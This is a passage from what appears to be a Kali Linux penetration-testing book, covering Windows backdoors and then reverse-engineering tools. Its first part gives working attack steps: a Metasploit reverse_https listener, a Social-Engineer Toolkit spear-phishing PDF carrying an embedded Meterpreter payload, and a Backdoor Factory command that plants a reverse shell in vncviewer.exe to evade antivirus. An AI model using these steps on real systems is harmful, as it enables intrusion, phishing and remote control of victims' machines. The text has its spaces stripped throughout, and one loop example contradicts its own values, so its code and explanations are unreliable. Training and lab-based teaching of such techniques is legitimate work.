useexploit/multi/handler
setPAYLOADwindows/meterpreter/reverse_https
setLHOST10.0.0.2
setLPORT4343
exploit
Thelistenerisanopenrunningprocess,andsothecursordoesnotreturntothereadystate.Toevidencethatthelistenerisactive,wecanrunaportscanagainstitwithNMap:
Usingthefollowingdiagram,wecanseethatthesourceofthescanismarkedbythelistener,andallthescanrequestsarerecordedascomingfrom10.0.2.15,whichistheinternalIPoftheKalimachine:
ThemalwarewearegoingtocreatewillbeanexecutablefilewrappedinaPDF
ThemalwarewearegoingtocreatewillbeanexecutablefilewrappedinaPDFfile.Thiswillbeanattachmentonane-mailthatisfromapurportedlysafesource,toanidentifiedsystemsadministratorinthetargetcompany.WewillstartwithareviewofthemenustructureofSET.
Themainmenuhassixentriesandanexitcue:
1. Social-EngineeringAttacks2. Fast-TrackPenetrationTesting3. Third-PartyModules4. UpdatetheSocial-EngineerToolkit5. UpdateSETconfiguration6. Help,Credits,andAbout7. ExittheSocialEngineeringToolkit
UnderSocial-EngineeringAttacks,thereareelevenentries:
1. Spear-PhishingAttackVectors2. WebsiteAttackVectors3. InfectiousMediaGenerator4. CreateaPayloadandListener5. MassMailerAttack6. Arduino-BasedAttackVector7. WirelessAccessPointAttackVector8. QRCodeGeneratorAttackVector9. PowershellAttackVectors10. ThirdPartyModules11. Returnbacktothemainmenu
UsingSpear-PhishingAttackVectors,therearefouroptions:
1. PerformaMassEmailAttack2. CreateaFileFormatPayload3. CreateaSocial-EngineeringTemplate4. ReturntoMainMenu
Sincewearegoingtosetupapersistentthreatthatletsusstayincommandofthevictim'smachine,andhavetoovercomeauser'spossiblereluctancetodouble-clickanattachment,wehavetocreateanirresistibleSpear-Phishingmail
double-clickanattachment,wehavetocreateanirresistibleSpear-Phishingmailpiece.Todothisproperly,itisimportanttohavedoneeffectivereconnaissanceaheadoftime.
Companyaddressbooksandcalendarsareusefulforcreatingtheurgencyneededtogetane-mailopened.Justlikewithmarketingbye-mail,eitherlegitimateorspammy,aspear-phishinge-mailtitlehastobeinteresting,intriguing,orfrighteningtothevictim:
Thise-mailisshort,interesting,andcancreateurgencybygreed.Theattachmentcouldbeanyofthefollowing:
Azipfile,presumedtohaveadocumentinsideAWorddocumentAPDFfile
TheSocialEngineeringToolkitgives21possiblepayloads.SomeofthesewillworkbetteronaMacintoshoperatingsystemsthanWindowsSystems.MostWindowsworkstationsarenotprovisionedtohandleRAR-compressedfiles.Thechoiceshereareasfollows:
1. SETCustomWrittenDLLHijackingAttackVector(RAR,ZIP)2. SETCustomWrittenDocumentUNCLMSMBCaptureAttack3. MS14-017MicrosoftWordRTFObjectConfusion(2014-04-01)4. MicrosoftWindowsCreateSizedDIBSECTIONStackBufferOverflow5. MicrosoftWordRTFpFragmentsStackBufferOverflow(MS10-087)6. AdobeFlashPlayer"Button"RemoteCodeExecution
7. AdobeCoolTypeSINGTable"uniqueName"Overflow8. AdobeFlashPlayer"newfunction"InvalidPointerUse9. AdobeCollab.collectEmailInfoBufferOverflow10. AdobeCollab.getIconBufferOverflow11. AdobeJBIG2DecodeMemoryCorruptionExploit12. AdobePDFEmbeddedEXESocialEngineering13. Adobeutil.printf()BufferOverflow14. CustomEXEtoVBA(sentviaRAR)(RARrequired)15. AdobeU3DCLODProgressiveMeshDeclarationArrayOverrun16. AdobePDFEmbeddedEXESocialEngineering(NOJS)17. FoxitPDFReaderv4.1.1TitleStackBufferOverflow18. AppleQuickTimePICTPnSizeBufferOverflow19. NuancePDFReaderv6.0LaunchStackBufferOverflow20. AdobeReaderu3DMemoryCorruptionVulnerability21. MSCOMCTLActiveXBufferOverflow(ms12-027)
Let'sjustchoosethedefault,whichisitem12.WhenyouhitEnter,thenextscreenletsyouuseadoctoredPDFfileofyourowndevising,orusethebuilt-inblankPDF.Choosingthesecondoption,weseesevenfurtheroptions:
1. WindowsReverseTCPShell2. WindowsMeterpreterReverse_TCP3. WindowsReverseVNCDLL4. WindowsReverseTCPShell(x64)5. WindowsMeterpreterReverse_TCP(X64)6. WindowsShellBind_TCP(X64)7. WindowsMeterpreterReverseHTTPS
SincethreeoftheoptionsaregoingtoruncodethatgetsthevictimmachinetophonehometoyourMetasploitFrameworkMeterpretertool,andyouhavebeenpracticingwiththattool,itmightmakesensetochooseoneofthoseasyourevilpayload.Let'schooseoptionseven,WindowsMeterpreterReverseHTTPS.
Whenwetype7wegetseveraloptions:
1. IPaddressofthelistener(LHOST):Usethehostaddresswhereyouaregoingtohavethelistener.MyKaliworkstationthinksitis10.0.2.15.
2. Porttoconnectbackto[443]:Port443isdefaulthere,butyoucanhavethelisteneratanyportonyourlisteningdevice.443istheHTTPSport,soitwouldnotlookunusualbyitsnumber.Port12234wouldlookunusualandmightalsobeblockedifthefirewalladministratorsarewhitelistingapprovedports,andblacklistingalltheothers.
3. Itstatesthatpayloadsaresentto/root/.set/template.pdfdirectory.
Thisisnotwhatitdoes.Theexecutableissetaslegit.exeinthiscase.Whenyouenterthenameofthefileasinthefollowingimage,youneedtousethefullpath:
4. OnceyouhavechosenthenameofthePDF,fireuptheSocial-EngineeringToolkitMassE-Mailer.
Themailerwilluseanopenmailrelay,ifyouhavefoundone,aGmailaccount,oranylegitimatee-mailSMTPserver.SETdoesnotcontainitsownSMTPserver.Youmightwanttofindafreee-mailservicethatyoucanuseforthispurpose,oruseanopenrelaymailserver.
5. Choose,orwriteanewe-mailmessage:
SEToolkitallowsyoutochooseseveraldifferenttastye-mailsubjectsforyourPhishinge-mailattack,andyoucaneasilyaddnewtemplatestocustomizetheapproach.Thefourthchoiceinthelistbelowistheonewejustcreated:
6. Forthistestofthesystem,IchosetosendtheattacktoandfromaGmailaccountoverwhichIhavecontrol.SEToolkitdoesnotreturntothemailer
sectionintheeventofanerrorinsendingthemessage.GmailcaughtthebogusPDFfileandsentbackalinktoitssecuritypages:
7. Useane-mailaccountfromaserverthatdoesnotcheckforinfectedattachments.Weused<[email protected]>andsentthee-mailto<[email protected]>,andthesendworked:
UsingBackdoor-FactorytoEvadeAntivirusTheexploitcodeworkedwellonanXPSP2machinewithnoAnti-virussoftware,andwouldworkwellonanymachinethatdidn'thaveAnti-virusinstalled,butitwaslesseffectiveonaWindows10machinewiththebasicdefaultWindowsAnti-virusinstalled.Wehadtoturnoffthereal-timecheckingfeatureontheAnti-virustogetthee-mailtoreadwithouterrors,andtheAnti-virusscrubbedoutourdoctoredfile.Assecurityengineers,wearehappythatMicrosoftWindows10hassuchaneffectiveanti-malwarefeature,rightoutofthegate.Aspenetrationtesters,wearedisappointed.
TheBackdoorFactoryinsertsshell-codeintoworkingEXEfileswithoutotherwisechangingtheoriginalallthatmuch.Youcanusetheexecutablesinthefollowing/usr/share/windows-binariesdirectory,oranyotherWindowsbinarythatdoesnothaveprotectioncodedintoit:
ThecodetorunBackdoorFactoryandcreatearemoteshellwithalistenerat10.0.0.2onport43434isasfollows.Thecave-jumpingoptionspreadsyour
codeacrossthevoidsintheexecutabletofurtherconfusetheAntivirusscans:
backdoor-factory–cave-jumping-f/usr/share/windows-
binaries/vncviewer.exe-H10.0.0.2-P43434-sreverse_shell_tcp
Ifyoumakeanerrorintheshell-codechoice(asabove)theapplicationshowsyouyourchoices:
backdoor-factory–cave-jumping-f/usr/share/windows-
binaries/vncviewer.exe-H10.0.0.2-P43434-s
reverse_shell_tcp_inline
TheBackdoorFactorythencarriesonandgivesoptionsforinjectingtheshell-codeintoallthevoidsorcavesinthebinary:
WewilljustchooseCave1:
Thebackdooreddirectoryisintheroothomedirectory~/backdoored/;thus,itiseasytofind.WecoulduseSocialEngineeringToolkittopushthisdoctoredfiletoamassmailing,butyoucanjuste-mailitfromaspoofedaccounttotheWindows10boxtoseeifitcancleartheAnti-virushurdle.Theexecutablehadtobezippedtogetpastthefiltersonourmailserver,andassoonasitwasunzippedontheWindows10machine,itwasscrubbedawayasamalwarefile.
Windows10defaultAnti-virusfoundthisfileasitfoundtheotherfile,fromtheSocialEngineeringToolkit.Unpatched,olderversionsofWindowsareplainlyatrisk.
SummaryInthischapter,youhaveseenfivedifferentwaystogaincontrolandputinback-doorsonWindowsmachines,fromNcatscripting,tometasploitmeterpreterattacks,toaddingadropbox,tousingSocial-EngineeringToolkitforsendingphishinge-mails,tousingBackdoorFactorytocreateexecutableswithshell-scriptbackdoors.
Inthenextchapter,wewilladdressreverseengineeringofmalwareyoucollect,soyoucanunderstandwhatitislikelytodointhewildorinyournetwork,andstress-testingyourequipment.
Chapter9.ReverseEngineeringandStressTestingIfyouwanttoknowhowamalwarewillbehave,theeasiestwaytoachievethatgoalistoletitrunrampantinyournetwork,andtrackitsbehaviorinthewild.Thisisnothowyouwanttogettounderstandthemalware'sbehavior.Youmighteasilymisssomethingthatyournetworkenvironmentdoesn'tenact,andnowyouhavetoremovethemalwarefromallofthemachinesinyournetwork.Kalihassomeselectedtoolstohelpyoudothat.ThischapteralsocoversstresstestingyourWindowsserverorapplication.Thisisagreatidea,ifyouwanttodiscoverhowmuchDDoSwillturnyourserverbelly-up.Thischapteristhebeginningofhowtodevelopananti-fragile,self-healing,Windowsnetwork.
Thischapterwillcoverthefollowingtopics:
SettingupatestenvironmentReverseengineeringtheoryWorkingwithBooleanlogicPracticingreverseengineering
DebuggersDisassemblyMiscellaneousREtools
StresstestingyourWindowsmachine
TherearesomechangesinthereverseengineeringtoolsavailableinKaliLinux2.0comparedtothetoolsinKaliLinux1.x.Sometoolshavedisappearedfromthemenustructure,andyoucanusethelastsectionofChapter6,PasswordAttacksofthisbooktoputthembackifyouwish.SometoolshavenotbeenincludedinKaliLinux2atall,thoughtherearetracesofthemhereandthere.Thefollowingtablebelowshowsthechanges.
ToolsshowingfullpathsarenotinthedefaultKali2.0menuatall,andNASMShell,apartoftheMetasploitFrameworksuiteoftools,wasnotintheKali1.xmenu:
SettingupatestenvironmentDevelopingyourtestenvironmentrequiresvirtualmachineexamplesofalloftheWindowsoperatingsystemsyouaretestingagainst.Forinstance,anapplicationdevelopermightberunningveryoldbrowser/OStestmachines,toseewhatbreaksforcustomersrunningantiquehardware.Inthisexample,wearerunningWindowsXP,Windows7,andWindows10.WeareusingOracleVirtualBoxfordesktopvirtualization,butifyouaremorecomfortableusingVMWare,thenusethatinstead.Itisimportanttousemachinesthatyoucanisolatefromthemainnetwork,justincasethemalwareactsasitshould,andattemptstoinfectthesurroundingmachines.
Creatingyourvictimmachine(s)
IfyoualreadyhaveWindowsVMssetupforsomeotherpurpose,youcaneitherclonethem(probablysafest)orrunfromasnapshot(fastesttosetup).Thesemachinesshouldnotbeabletoaccessthemainnetwork,afteryouhavebuiltthem,andyoushouldprobablysetthemuponlytocommunicatewithaninternalnetwork.
Testingyourtestingenvironment1. BringupyourKaliVM.2. MakesureyourKaliinstancecantalktotheInternet,foreaseofgetting
updates.3. MakesureyourKaliinstancecantalktoyourhostmachine.4. BringupyourtargetWindowsinstances.5. MakesureyourWindowsvictimsarenotabletocontacttheInternetor
yourprivateEthernetLAN,sotoavoidunexpectedpropagationofmalware.
Thethreevirtualmachinesonourtestnetworkareonahost-onlynetworkinsideOracleVirtualBox.TheDHCPisprovidedbythehost(192.168.56.100),andthethreetestingnetworkmachinesare101,102,and103.
ReverseengineeringtheoryTheoryscaresITprofessionalsforsomereason.Thisisnottrulywarranted,astheoryistheunderlyingbedrockofallofyourtroubleshooting.ItmaybetheaxiomsyouhavelearnedthroughyourXyearsofhard-knockstrialanderror.Inthelandofqualitativeresearch,thisisliterallycalledtheGroundedTheoryResearchMethod.Thebasetheoryforreverseengineeringisthattheoutputsinfertheinteriorbehavioroftheapplication.Whenyouarefacedwithapieceofmalware,youaregoingtostartmakingworkinghypothesesfromamixtureofthefollowing:
PriorknowledgefromrecalledinteractionswithmalwareperceivedassimilarGeneralizingperceivedoutcomesofinteractionswiththemalwareundertest
Tip
HackerTip
Itisprobablynotusefultolabelanapplicationinanapriorimanner.Itmaymaskdatatoapplythe"ifitwalkslikeaduckandquackslikeaduck,itisprobablyaduck"axiomtotheapplication.Especiallywithmalware,itislikelythatthedesignincludessomedeceptivefeaturesthatareexpectedtosetyouoffonthewrongtrack.ConsidertheTrojansandrootkitsthatremoveotherTrojansandrootkitsastheirfirsttask.Theyarecleaningupyourenvironment,but,aretheyreallyyourfriend?
Malwareapplicationsaredesignedtoprovideoutputsfrominputs,butbeawarethattheoutputsandinputsdonottrulygiveyouagoodideaofhowtheoutputsareachieved.Theoutputscanbeproducedinseveraldifferentways,andyoumayfinditmattershowthedeveloperchosetocreatetheapplication.
Onegeneraltheoryofreverseengineering
ThistheorywaspublishedbyLeeandJohnson-Lairdin2013intheJournalofCognitivePsychology,andisusefulforinformationsecuritypractitioners,becauseitisshownonaBooleansystem.ABooleansystemisalogicgate.Eitheraconditionistrueoritisfalse.Averycommondefinitionoftheproblemmightbeasfollows:
"Anysystemtobereverse-engineeredcontainsafinitenumberofcomponentsthatworktogetheringivingrisetothesystem'sbehaviour.Someofthesecomponentsarevariable,thatis,theycanbeinmorethanonedistinctstatethataffectstheperformanceofthesystem,e.g.,thesettingonadigitalcamerathatallowsfortheplaybackorerasingofphotographs.Othercomponentsofthesystemdonotvary,e.g.,awireleadingfromaswitchtoabulb.Thesystemhasanumberofdistinctinputsfromtheuserandanumberofconsequentoutputs,andtheyaremediatedbyafinitenumberofinterconnectedcomponents.Insomesystems,acomponentmayhaveapotentiallyinfinitenumberofparticularstates,e.g.,differentvoltages.But,forpurposesofreverseengineering,weassumethatallvariablecomponentscanbetreatedashavingafinitenumberofdistinctstates,i.e.,thesystemasawholeisequivalenttoafinite-stateautomaton.Inotherwords,analoguesystemscanbedigitised,asindigitalcameras,CDs,andotherformerlyanaloguedevices.Wealsoassumethatthedeviceisintendedtobedeterministic,thoughanondeterministicfinite-statedevicecanalwaysbeemulatedbyonethatisdeterministic(Lee&Johnson-Laird,2013)."
TheLeeandJohnson-LairdmodelusesonlyBooleaninternalmodelsforthepossibleinternalconditionsthatrevealthebehaviorsnoted.Sinceitisnotpossibletotestaninfinitenumberofinputs,itismoreusefultotestonlyasubsetofthepossibleinputs,andoutputs.Wecanstartwithasimpleexample,forinstance:
IfthemalwarelandsonanAppleplatform,andisdesignedtoexploitaWindowsvulnerability,itislikelynottorunatall(switch1)IfitlandsonaWindowsmachine,butisaimedatavulnerabilityoftheXPversion,itmaytestforthatOSversionanddonothingifitfindsitselfonWindowsServer2012(switch2)
IfithappenstobeWindowsXP,butispatchedforthesoughtvulnerability,itmightalsodonothing(switch3)IfitlandsonaWindowsXPmachinethatcontainsthesought-afterunpatchedvulnerability,itdropsitspayload
WorkingwithBooleanlogicComputerprogramsaremadeupdatastructureswhichuseconditionsanddecisionsthatbringthedesiredoutputs.WewillusePythonnotationhere,asitissimple,andyoumayhaveseenitbefore.Thebasicdatastructuresare:
Iteratorssuchaswhileloopsandforloops.Aniteratorloopsasmanytimesasitistoldto,runningothercommandseachtimeitgoesaroundDecisionPointssuchasIfstructuresandCasestructures.TheprecedingimageisadiagramofasetofnestedIfstructures
BooleanOperators
Notation Description
X==Y XisequivalenttoY.Thisisnotalwaysanumericvalueset
X!=Y XisnotequivalenttoY
X<=Y XissmallerthanORequivalentofY
X>=Y XisgreaterthanorequivalentofY
X<Y XislessthanY
X>Y XisgreaterthanY
XandYarebothtrueXandYarebothfalseEitherXorYistrueAnythingbutXAnythingbutY
BooleanVariables
Variable Description
AND ProducesaBooleancomparisonthatisonlytrueifalltheelementsaretrue.
OR ProducesaBooleancomparisonthatistrueifanyoftheelementsaretrue.
NOT ProducesaBooleancomparisonthatisonlytrueifalltheelementsarenottrue.
ThefollowingimageistestingthetwoconditionsofXagainstaBooleanvariableofNOT.Youareprobablystartingtoseehowoutputscanbedrawnfrommanydifferentinternalcodingchoices.Theattackerororiginalcouldbetestingaconditionbyanyofanumberofconditions,soyouhavetothinkofallthewaysthattheoutputmightbeobtained.
Reviewingawhileloopstructure
Awhileloopisexplicitlystartedandstoppedbytrue/falsechoicepoints.Thesecanlookverycomplicated,buttheyresolvetoalimitedsetoftestsforasinglecondition.
X=0
Y=20
while(X!=Y):print(X),X=X+1
ThisPython3loopwillprintthevalueofXoverandoveruntilitreaches10,thenstop.ItwouldworkexactlythesameifwesaidwhileX<Y,becausetheloopstructureistestingXasitisincremented.Amorecomplicatedloopusingarandomnumberfortheincrementerelementmightgoonformuchlonger(ornot)beforeitrandomlyhitsonavalueofXthatwastheequivalentofY.
Itisobviousthattheprogramistestingtheloopingconditioneachtime.HereisanexampleusingthatrandomXvalue.FirsttheXvalueischosen,thenthe
print(X)commandisruntwice.SinceXwasonlysetonceinthefirstline,itdidn'tchangeinthetwoprintcommands.WhenthevalueofXwasreset,itprintedadifferentvalue.TheconditionwasthatXwouldnotequalY.WesetthevalueofYafewlinesup,soitdoesnotneedtoberesettorunthisexample.ThereasonwhyXreturnedonlyoncewasthatthesecondtimethrough,Xwasrandomlysetto11.Theoddsofitbeingsetto11fromtherandomdrawwas1outof11,afarbetterchancethanyourprobabilityofwinningthePowerBallLottery.
Ifweruntheloopagain,itmightrunmoretimes,asitrandomlyavoidsavalueofXequivalenttoY.Again,itdoesnotprintthevalueofX=11,becausethatisprecludedbythewhileloopcondition.
Reviewingtheforloopstructure
Aforloopdoesn'tneedanincrementerbecauseitbuildstherangeintothecondition,ascontrasttoawhileloopthatonlyincludesalimitbeyondwhichtheloopwillnotrun.UsingPythonnotation,thefollowingimageshowswhathappensifyoustartwithanXvalueof0andarangefrom1to11.ThepresetvalueofXisnotimportanttothewhileloopiteration.ItappliesallvaluestoXthatittests.
WearestartingwithXsetto100,buttheforlooptakestheXvaluefromitsowncondition.
Understandingthedecisionpoints
AnIfstructureisabinarydecision:eitheryesorno.Alightswitchonthewallisaphysicalexampleofanifstructure.Iftheswitchisinoneposition,thelightsareon,andifitisintheotherposition,thelightsareoff:
ACaseStructureisadecisionstructurewithmorethanone"rightanswer",morethanone"yes",andnotasingle"no".Anexampleofthismightbeanicecreamdispenserwiththreeflavors,chocolate,strawberryandvanilla.Ifyoudonotwanticecream,youdonotevenapproachthemachine.Youhavethreechoicesandtheyareallcorrect:
PracticingreverseengineeringSinceknowingtheinputsandoutputscannot,withanysurety,provideyouwithatruepictureoftheinternalconstructionoftheapplicationyouwanttoreverseengineer,let'slookatsomehelpfulutilitiesfromKaliLinuxthatmightmakeiteasier.Wewilllookatthreedebuggers,onedisassemblytool,andonemiscellaneousreverse-engineeringtool.
WewillshowusageandoutputfromtwoLinux-baseddebuggers,ValgrindandEDB-Debugger,andthenthesimilaroutputfromaWindows-onlydebugger,OllyDbg.
ThedisassemblerisJAD,aJavadecompiler.
Demystifyingdebuggers
Whatisdebugging?ThehonorofcoiningthetermisoftenerroneouslyattributedtoAdmiralGraceHopper,ontheoccasionofherteammembersfindingaphysical(butdead)mothstuckinarelayinsideaMarkIIcomputeratHarvardUniversity.ThetermmayactuallycomefromThomasEdisonashementionedanddefinedthetermas"...littlefaultsanddifficulties..."Insoftwaredevelopment,abugisusuallyalogicerror,andnotatypographicalerrorinthecode.Typosusuallystopthecodefromcompilingatall,sotheydonotgetoutofthedeveloper's'lab.Logicerrorsdonotstoptheprogramfromcompiling,buttheymaycauseafailureintheoutputorunexpectedbehaviorwhentheprogramisinitiated.Anotherwordoftenusedsynonymouslytobugisdefect.Technicaldebtinaprojectisthenumberofdefectsunfixedinaproject.Differentprojectmanagershavedifferentlevelsoftoleranceforunfixedbugs.Manymalwarepackageshaveseveralshow-stoppingbugsintheirreleasedversions,butsomeofthemoresophisticatedrecentmalwarepackagesappeartobeverylowintechnicaldebt.
Debuggersallowyoutowatchthebehaviorofanapplicationinastep-wisemanner.Youcanseewhatgetsputintomemory,whatsystemcallsaremadeandhowtheapplicationpullsandreleasesmemory.Themainreasonweusedebuggersistocheckthebehaviorofprogramstowhichwehaveaccesstothesourcecode.Thereasonforthisistheprogramswearemostlikelytodebugarecodemadeinourownworkshops.Thisdoesnotquiteconstituteacodesecurityaudit,butitcanhelpalottofindwhereaprogramisleakingmemory,andhowwellitcleansupitsusedmemory.Manyprogramsdisplaystatusreportsonthecommandline,ifyoustartthemthatway,whichareinternaldebugginginformation.Thiscouldbecleanedupafterreleaseoftheapplication,butinmostusecases,theenduserneverseesanyofit.
UsingtheValgrindDebuggertodiscovermemoryleaks
ProgramsgenerallyreservememoryfromthetotalRAMavailable.OneprogramwehavefoundusefulfordebuggingonthecommandlineisValgrind,whichisnotinthedefaultKaliinstall.Weadditwhenwefindweneedtodopreliminarydebugging.Forinstance,atonetimeaversionofOpenOffice.org,thefreeopen-sourceofficesuite.hadabuginLinuxthatwasallowingtheinstall,butfailedtoruntheprogram.Itjustseizedupatthedisplayoftheinitialsplashscreen.
Runningthefollowingcommandshowedthatitwaslookingforafilethatdidnotexist.Ratherthanjustsendingabugreport,andhopingforasolutiontobeaddedasapatchtothesourcecode,wejustaddedthemissingfileasablanktextfile.ThisallowedOpenOffice.orgtostart.TheOpenOffice.orgdevelopersaddedapatchlaterthatremovedthebug,butwedidn'thavetowaitforit.
AsanexampleofValgrind,hereisthecommand-linecodetorunatestongedit,atexteditor:
valgrind-v--log-file="gedit-test.txt"gedit
Ittakesmuchlongertostartaprogramwhenitisencasedinadebugger,andtheentireoutputwillgotothelog-filedesignated.Oncetheprogramisopen,youcanclosetheprogrambytyping[CTRL][C]onthecommandline,oriftheapplicationundertesthasaGUIinterface,youcanclosethewindow,andValgrindwillshutdownafterwatchingtheapplicationyouaretestinggodown.Inthisexamplethereareover600linesofoutputfromthedebugger,andyouaregoingtoneedtouseamoreuser-friendlydebuggertofindmoreusefulinformation.Keepinginmindthatgeditisaverymatureprogramanditworksflawlesslyeverytimeweuseittoedittextfiles,itstillhas24memoryerrorsnotedbyValgrindintheundemandingusecaseofopeninggedit,typingafewcharactersandclosingwithoutsavingthenewdocument.
TranslatingyourapptoassemblerwiththeEDB-Debugger
TheEDB-DebuggerisaversionofaWindowsapplicationcalledtheOllydebugger.EDB-Debuggerhasthefollowingfeatures:
AGUIinterfacewhichthedeveloperscallintuitiveStandarddebuggingoperations(step-into/step-over/run/break)MoreunusualconditionalbreakpointsAdebuggingcorethatisimplementedasaplugin(youcandropinreplacementcoreplugins)SomeplatformsmayhaveseveraldebuggingAPIsavailable,inwhichcaseyoumayhaveapluginthatimplementsanyofthemBasicinstructionanalysisView/dumpmemoryregionsEffectiveaddressinspectionThedatadumpviewistabbed,allowingyoutohaveseveralviewsofmemoryopenatthesametimeandquicklyswitchbetweenthemItallowsimportandgenerationofsymbolmapsPluginstoextendtheusability
EDB-DebuggerisdesignedtodebugLinuxapplications,andwewilllookatthesameapplication,gedit,withEDB-Debugger.TheGUIinterfacelookslikethis:
Here'swhatyou'relookingat:
1. Theapplicationbeingtested,andtheprocessIDinthetitlebar2. Memorylocation3. Commands4. Generalpurposebinarycommandmap5. Bookmarks–Placesofinterestinthecode6. Registerssetasidefordata(specificallyforthemarkedlinein2/3)7. DataDump–Memorylocationsandcontent
8. MemoryStackdata
EDB-Debuggersymbolmapper
EDB-Debuggercangiveyouasymbolmapbythecommand-lineentry:
edb--symbols/usr/bin/gedit>gedit.map
Thesymboltablemapsfunctions,lines,orvariablesinaprogram.Inthecaseofgedit,thesymboltablelooksasfollows:
RunningOllyDbg
Ifyouarerunningthe64-bitversionofKaliLinux2.0,youwillfirstneedtoupdateKali.Itismissingthe32-bitwineinfrastructureandwinedoesn'tevenwanttostartwithoutthat.Luckily,KaliLinuxgivesyouausefulerrormessage.Youjusthavetocopythequotedpartoftheerrormessageandrunit.
TheOllyDbgGUIwindowdoeslookalotlikeEDB-Debugger,thoughitisgraphicallyalittleuglier.Wearelookingatnotepad.exe,whichisaWindows-onlyeditor,similartoacut-downversionofgedit.Thewindowisbrokenupintothefollowing:
1. Theapplicationbeingtestedinthetitlebar2. Memorylocation3. Symbolmapping4. Commands5. Registers6. Datadump–memorylocationsandcontent7. MemoryStackdata
Whenyouopenanexecutablefile(EXE,PIF,orCOM)itshowsyoutheentirerunningprogram.
YoucouldchoosetorunOllyDbgonyourtargetWindowsmachinetolookatanongoinginfection,bycopyingitsfoldertoaflashdriveandcarryingtheflashdriveovertotheinfectedmachine.YoucouldalsoinstallKaliLinuxtoabootableflashdriveaswementionedinChapter1,SharpeningtheSaw,andrunKalidirectlyontheinfectedmachine.
Introductiontodisassemblers
Adisassemblertakescompiledbinarycodeanddisplaystheassemblycode.Thisissimilartowhatthedebuggerscanshowyou.
RunningJAD
JADisaJavadecompilerincludedwithKaliLinux,anditseemslikeausefultoolforanalyzingpotentiallydangerousJavaappletsthatcomeinfromwebpages.Thebiggestproblemwithitisthatithasnothadamaintainersince2011,andsoisdifficulttofind,exceptintheKalirepository,andatTomasVaraneckas'sblogpageJadDecompilerDownloadMirrorathttp://varaneckas.com/jad/.
ThefollowingisapagefromtheJADhelpfile,thatyouaccessfromthemainmenuorbytypingjadinthecommandline.
ForashortexampleofwhatitlooksliketouseJAD,wecreatedaJavaclassforyou.Thenextthreeillustrationsare:
1. Originalsourcecode(notalwaysavailable)2. RunningJAD3. Decompiledsource
Sohereisthesource-codeforalittleJavaclassthatwillprintsomestatic
Sohereisthesource-codeforalittleJavaclassthatwillprintsomestaticcontenttothecommand-linestandardoutput:
Withtheapplicationrunning,weshowedtheresultofusingtheinlinehelp(typeaquestionmarkinsteadofoneoftheletterchoices)justtoshowthelevelofdetailavailable.Wethenchosea,andJADoverwrotethesource.Thiswillnotbeaproblemwhenyouhaveonlythecompiledclass.
Finally,hereisthedecompiledsourcecode.
CreateyourowndisassemblingcodewithCapstone
TheCapstonedecompilingengineiswell-maintained,andhasasimpleAPI.BasicCapstonelibrariescomedefaultonKaliLinux,andyoucanbuildyourownfrontendusinganylanguagewithwhichyouarefamiliar.WeareusingPython,asitisourgo-toscriptinglanguage.Usingtheaptitudesearch<keyword>commandstructure,youcanmakesureyouhaveavailablepackages,andcanseethestatusofthepackages.Inthiscaseyoucanseethat"p"inthefirstcolumnmeansthatthereisapackageavailable,and"i"meansitisinstalled.The"A"inthesecondcolumnshowsthepackagewasinstalledautomatically,andisprobablyadependencyforsomeotherpackage.Wehavechosentoinstalllibcapstone-devforthe64-bitarchitecturewehaveontheKaliinstance,incasewewanttoattempttocustomizethebehaviorofCapstone.Youdon'tneedtodothattouseCapstone.
Hereisasimpledisassemblerscriptbasedonexamplesathttp://www.capstone-engine.org/lang_python.html.Thiscouldbefarmoreautomated,butfortheexample,thehexcodeishardcodedintothescript.
Somemiscellaneousreverseengineeringtools
Thereisalargecategoryofmiscellaneousreverse-engineeringtools,listedassuchintheKaliLinux1.xmenu,butnotcategorizedintheKaliLinux2.0menu.Ratherthanrandomlypickingacoupleofthese,weareshowingyouanintegratedsuiteoftoolsledbyRadare2.
RunningRadare2
YoucanstartRadare2byclickingthemenulinkunderReverseEngineering.Youareprobablymorecomfortablewiththecommandlinenow,soyouwillprobablywanttoopenitdirectlyinthecommandline.Openthecommand-linelauncherbytypingthekeyboardshortcutALT+F2.Thenthefollowingcommandopenstheprogram'shelpfileinanewterminalwindow:
bash-c"radare2-h"#thismakessurethatyouareopeningthe
bashshell
#ratherthansomeotherpossibledefaultshell
#likethedashshell
Tobreakthiscommanddownforyou:
bashopensabashshell-cdirectsdashtoreadfromacommandstring,whichfollowsindoublequotes,insteadofwaitingforstandardinputfromthekeyboardradare2istheapplicationweareopening-histheoptionthatopensahelpfileintheterminalwindow,ifoneexists--helpisthelongformofthatoption,(theseoptionsareavailableonalmosteveryLinuxcommand-linetool)
Radare2isanadvancedcommand-linehexadecimaleditor,disassembler,anddebugger.Radare2(http://radare.org)statesthatRadare2isaportablereversingframework.
Radare2isthetipofaframeworkthatisintegratedwith10pluginsandseveralotherapplications.TokeepthePGrating,wefuzzedoutthelastpluginname.
AdditionalmembersoftheRadare2toolsuite
TheRadare2Suitereallydeservesitsownchapter,ifnotawholebook.Wehavetomentionsomeoftheotherusefultoolsavailableinthissuite:
rasm2rahash2radiff2rafind2rax2
Runningrasm2
Rasm2/usr/bin/rasm2isacommand-lineassembler/disassemblerforseveralarchitectures;forexample,Intelx86andx86-64,MIPS,ARM,PowerPC,Java,andMSIL.Thismaybeyourgo-tofordisassemblywhenJADisnolongeravailable.
Runningrahash2
Rahash2(/usr/bin/rahash)isablock-basedhashtool,whichsupportsmanyalgorithms;forexampleMD4,MD5,CRC16,CRC32,SHA1,SHA256,SHA384,SHA512,par,xor,xorpair,mod255,hamdist,orentropy.Youcanuserahash2tochecktheintegrityof,andtrackchangesto,files,memorydumps,anddisks.
Thefollowingisanexampleoftestingthesha256hashforasmallfile.
Runningradiff2
Radiff2isabinaryutilitythatusesvariousalgorithmstocomparefiles.Itsupportsbyte-levelordeltacomparisonsforbinaryfiles,andcode-analysiscomparisonstofindchangesincodeblocksproducedbyaradarecodeanalysis.Thefollowingisatestofcomparingtwostatesofthe/var/log/messageslogoverthecourseofacoupleofseconds.Thisisacomparisonatthebitlevel,for
randomchanges.
Runningrafind2
Rafind2isdesignedtosearchforpatternsinfiles.Inthefollowingexample,rafind2-s"<stringsearched>"<file>showsyouwhatweseewhenwesearchforastringthatweknowtoexist,andoneweknowtobeabsent.
Runningrax2
Rax2isamathematicalexpressionevaluatorforthecommandline.Youcandomanyconversionoperationsthatareusefulformakingbaseconversionsbetweenfloatingpointvalues,hexadecimalrepresentations,hexpairstringstoASCII,octaltointeger,andsoon.Italsosupportsendiannesssettingsandcanbeusedasaninteractiveshellifnoargumentsaregiven.
Someexampleconversionswithrax2include:
DecimaltohexadecimalHexadecimaltodecimalOctaltohexadecimalHashingtwostringsHashingasinglestring
